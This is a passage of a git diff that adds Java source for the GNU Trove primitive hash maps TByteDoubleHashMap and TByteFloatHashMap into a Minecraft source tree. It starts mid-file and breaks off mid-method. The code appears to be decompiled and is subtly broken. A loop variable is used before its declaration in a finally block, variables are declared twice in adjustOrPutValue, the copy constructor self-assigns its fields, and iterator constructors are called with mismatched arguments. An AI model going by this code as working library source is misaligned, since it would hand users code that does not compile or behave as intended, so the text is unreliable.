+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    byte[] oldKeys = _set;
+    double[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new byte[newCapacity];
+    _values = new double[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        byte o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public double put(byte key, double value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public double putIfAbsent(byte key, double value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private double doPut(byte key, double value, int index)
+  {
+    double previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Byte, ? extends Double> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Byte, ? extends Double> entry : map.entrySet()) {
+      put(((Byte)entry.getKey()).byteValue(), ((Double)entry.getValue()).doubleValue());
+    }
+  }
+  
+
+  public void putAll(TByteDoubleMap map)
+  {
+    ensureCapacity(map.size());
+    TByteDoubleIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public double get(byte key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public double remove(byte key)
+  {
+    double prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TByteSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public byte[] keys()
+  {
+    byte[] keys = new byte[size()];
+    byte[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public byte[] keys(byte[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new byte[size];
+    }
+    
+    byte[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TDoubleCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public double[] values()
+  {
+    double[] vals = new double[size()];
+    double[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public double[] values(double[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new double[size];
+    }
+    
+    double[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(double val)
+  {
+    byte[] states = _states;
+    double[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(byte key)
+  {
+    return contains(key);
+  }
+  
+
+  public TByteDoubleIterator iterator()
+  {
+    return new TByteDoubleHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TByteProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TDoubleProcedure procedure)
+  {
+    byte[] states = _states;
+    double[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TByteDoubleProcedure procedure)
+  {
+    byte[] states = _states;
+    byte[] keys = _set;
+    double[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TDoubleFunction function)
+  {
+    byte[] states = _states;
+    double[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TByteDoubleProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    byte[] keys = _set;
+    double[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(byte key)
+  {
+    return adjustValue(key, 1.0D);
+  }
+  
+
+  public boolean adjustValue(byte key, double amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public double adjustOrPutValue(byte key, double adjust_amount, double put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    double newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      double newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TByteSet
+  {
+    protected TKeyView() {}
+    
+    public TByteIterator iterator()
+    {
+      return new TByteDoubleHashMap.TByteDoubleKeyHashIterator(TByteDoubleHashMap.this, TByteDoubleHashMap.this);
+    }
+    
+
+    public byte getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(byte entry)
+    {
+      return TByteDoubleHashMap.this.contains(entry);
+    }
+    
+
+    public byte[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public byte[] toArray(byte[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(byte entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(byte entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte ele = ((Byte)element).byteValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TByteCollection collection)
+    {
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(byte[] array)
+    {
+      for (byte element : array) {
+        if (!TByteDoubleHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Byte> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TByteCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(byte[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Byte.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(byte[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      byte[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte c = ((Byte)element).byteValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        byte element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(byte[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TByteDoubleHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TByteProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TByteSet)) {
+        return false;
+      }
+      TByteSet that = (TByteSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TByteProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(byte key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TDoubleCollection
+  {
+    protected TValueView() {}
+    
+    public TDoubleIterator iterator()
+    {
+      return new TByteDoubleHashMap.TByteDoubleValueHashIterator(TByteDoubleHashMap.this, TByteDoubleHashMap.this);
+    }
+    
+
+    public double getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(double entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public double[] toArray()
+    {
+      return values();
+    }
+    
+
+    public double[] toArray(double[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(double entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(double entry)
+    {
+      double[] values = _values;
+      byte[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != 2) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double ele = ((Double)element).doubleValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TDoubleCollection collection)
+    {
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(double[] array)
+    {
+      for (double element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Double> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TDoubleCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(double[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Double.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(double[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      double[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double c = ((Double)element).doubleValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        double element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(double[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TByteDoubleHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TDoubleProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TDoubleProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(double value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TByteDoubleKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TByteIterator
+  {
+    TByteDoubleKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public byte next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TByteDoubleValueHashIterator
+    extends THashPrimitiveIterator
+    implements TDoubleIterator
+  {
+    TByteDoubleValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public double next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TByteDoubleHashIterator
+    extends THashPrimitiveIterator
+    implements TByteDoubleIterator
+  {
+    TByteDoubleHashIterator(TByteDoubleHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public byte key()
+    {
+      return _set[_index];
+    }
+    
+    public double value()
+    {
+      return _values[_index];
+    }
+    
+    public double setValue(double val)
+    {
+      double old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TByteDoubleMap)) {
+      return false;
+    }
+    TByteDoubleMap that = (TByteDoubleMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    double[] values = _values;
+    byte[] states = _states;
+    double this_no_entry_value = getNoEntryValue();
+    double that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        byte key = _set[i];
+        double that_value = that.get(key);
+        double this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TByteDoubleProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(byte key, double value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeByte(_set[i]);
+        out.writeDouble(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      byte key = in.readByte();
+      double val = in.readDouble();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TByteFloatHashMap.java b/src/minecraft/gnu/trove/map/hash/TByteFloatHashMap.java
new file mode 100644
index 0000000..625dfc0
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TByteFloatHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.TFloatCollection;
+import gnu.trove.function.TFloatFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TByteFloatHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TByteFloatIterator;
+import gnu.trove.iterator.TByteIterator;
+import gnu.trove.iterator.TFloatIterator;
+import gnu.trove.map.TByteFloatMap;
+import gnu.trove.procedure.TByteFloatProcedure;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.set.TByteSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TByteFloatHashMap
+  extends TByteFloatHash
+  implements TByteFloatMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient float[] _values;
+  
+  public TByteFloatHashMap() {}
+  
+  public TByteFloatHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TByteFloatHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TByteFloatHashMap(int initialCapacity, float loadFactor, byte noEntryKey, float noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TByteFloatHashMap(byte[] keys, float[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TByteFloatHashMap(TByteFloatMap map)
+  {
+    super(map.size());
+    if ((map instanceof TByteFloatHashMap)) {
+      TByteFloatHashMap hashmap = (TByteFloatHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0.0F) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new float[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    byte[] oldKeys = _set;
+    float[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new byte[newCapacity];
+    _values = new float[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        byte o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public float put(byte key, float value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public float putIfAbsent(byte key, float value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private float doPut(byte key, float value, int index)
+  {
+    float previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Byte, ? extends Float> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Byte, ? extends Float> entry : map.entrySet()) {
+      put(((Byte)entry.getKey()).byteValue(), ((Float)entry.getValue()).floatValue());
+    }
+  }
+  
+
+  public void putAll(TByteFloatMap map)
+  {
+    ensureCapacity(map.size());
+    TByteFloatIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public float get(byte key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public float remove(byte key)
+  {
+    float prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TByteSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public byte[] keys()
+  {
+    byte[] keys = new byte[size()];
+    byte[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public byte[] keys(byte[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new byte[size];
+    }
+    
+    byte[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TFloatCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public float[] values()
+  {
+    float[] vals = new float[size()];
+    float[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public float[] values(float[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new float[size];
+    }
+    
+    float[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(float val)
+  {
+    byte[] states = _states;
+    float[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(byte key)
+  {
+    return contains(key);
+  }
+  
+
+  public TByteFloatIterator iterator()
+  {
+    return new TByteFloatHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TByteProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TFloatProcedure procedure)
+  {
+    byte[] states = _states;
+    float[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TByteFloatProcedure procedure)
+  {
+    byte[] states = _states;
+    byte[] keys = _set;
+    float[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TFloatFunction function)
+  {
+    byte[] states = _states;
+    float[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TByteFloatProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    byte[] keys = _set;
+    float[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(byte key)
+  {
+    return adjustValue(key, 1.0F);
+  }
+  
+
+  public boolean adjustValue(byte key, float amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public float adjustOrPutValue(byte key, float adjust_amount, float put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    float newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      float newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TByteSet
+  {
+    protected TKeyView() {}
+    
+    public TByteIterator iterator()
+    {
+      return new TByteFloatHashMap.TByteFloatKeyHashIterator(TByteFloatHashMap.this, TByteFloatHashMap.this);
+    }
+    
+
+    public byte getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(byte entry)
+    {
+      return TByteFloatHashMap.this.contains(entry);
+    }
+    
+
+    public byte[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public byte[] toArray(byte[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(byte entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(byte entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte ele = ((Byte)element).byteValue();
